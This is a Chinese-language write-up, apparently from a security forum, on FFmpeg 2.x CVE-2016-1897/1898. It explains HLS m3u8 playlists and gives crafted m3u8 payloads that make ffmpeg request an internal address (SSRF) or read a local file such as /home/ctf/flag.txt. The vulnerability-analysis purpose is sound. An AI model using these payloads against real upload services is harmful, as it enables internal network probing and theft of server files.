ffmpeg 任意文件读取漏洞/SSRF漏洞

ffmpeg 任意文件读取漏洞/SSRF漏洞 (CVE-2016-1897/CVE-2016-1898)​

在FFMpeg2.X 由于在解析HTTP Live Streaming流媒体m3u8文件处理不当,可导致SSRF漏洞与任意文件读取漏洞。当网站允许用户上传多媒体文件,并使用FFMpeg进行处理时会触发该漏洞。
这个漏洞有两个CVE编号,分别是CVE-2016-1897和CVE-2016-1898,它们两个的区别在于读取文件的行数,CVE-2016-1897只能读取文件的第一行,而CVE-2016-1898可以读取文件任意行,原理基本一样,这里就一起分析了。

HLS(HTTP Live Streaming)​

由于漏洞是出现在解析HLS流媒体文件出的问题,所以我们必须先了解HLS。
HLS(HTTP Live Streaming)是Apple公司开发的一种基于HTTP协议的流媒体通信协议,大多数都应用在PC上和iphone上。它的基本原理是把一个视频流分成很多个很小很小很小的ts流文件,然后通过HTTP下载,每次下载一点点。在一个开始一个新的流媒体会话时,客户端都会先下载一个m3u8(播放列表 Playlist)文件,里面包含了这次HLS会话的所有数据。
http://pl.youku.com/playlist/m3u8?vid=340270152&type=3gphd&ts=1462714824&keyframe=0&ep=dSaSGE6MUssC5ybeiz8bYiXiIiZdXP0O9h2CgdNnAtQnS%2Bm2&sid=746271452251312590fab&token=3319&ctype=12&ev=1&oip=3395898128
这是youku一个视频的m3u8文件,内容如下:
解析:
  • #EXTM3U 标签是m3u8的文件头,开头必须要这一行
  • #EXT-X-TARGETDURATION 表示整个媒体的长度 这里是6秒
  • #EXT-X-VERSION:2 该标签可有可无
  • #EXTINF:6, 表示该一段TS流文件的长度
  • #EXT-X-ENDLIST 这个相当于文件结束符
这些是m3u8的最基本的标签,而问题就出在FFMpeg去请求TS流文件的时,由于我们可以伪造一个m3u8文件,FFMpeg不会判断里面的流地址,直接请求。

漏洞原理​

SSRF漏洞: 直接用FFMpeg解析一个多媒体文件
#EXTM3U #EXT-X-MEDIA-SEQUENCE:0 #EXTINF:10.0,http://192.168.123.100:8080/1.html #EXT-X-ENDLIST
(#EXT-X-MEDIA-SEQUENCE或#EXT-X-TARGETDURATION必须存在任意一个,前者是定义ts流文件的序号。去掉会报错:无效文件)
0zumvzloy4f7507.jpg

ffmpeg -i test.m3u8 test.mp4(也可把m3u8格式改成其他后缀,ffmpeg会自动识别为HLS流文件)
0zumvzloy4f7507.jpg

以下几个方式可以读取文件:

코드:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
코드:
#EXTM3U
#EXT-X-TARGETDURATION:1
#EXTINF:1,
/home/ctf/flag.txt
#EXT-X-ENDLIST

#EXTM3U
#EXT-X-PLAYLIST-TYPE:VOD
#EXT-X-TARGETDURATION:1
#EXT-X-VERSION:3
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
file:///home/ctf/flag.txt
#EXT-X-ENDLIST
 
뒤로
상단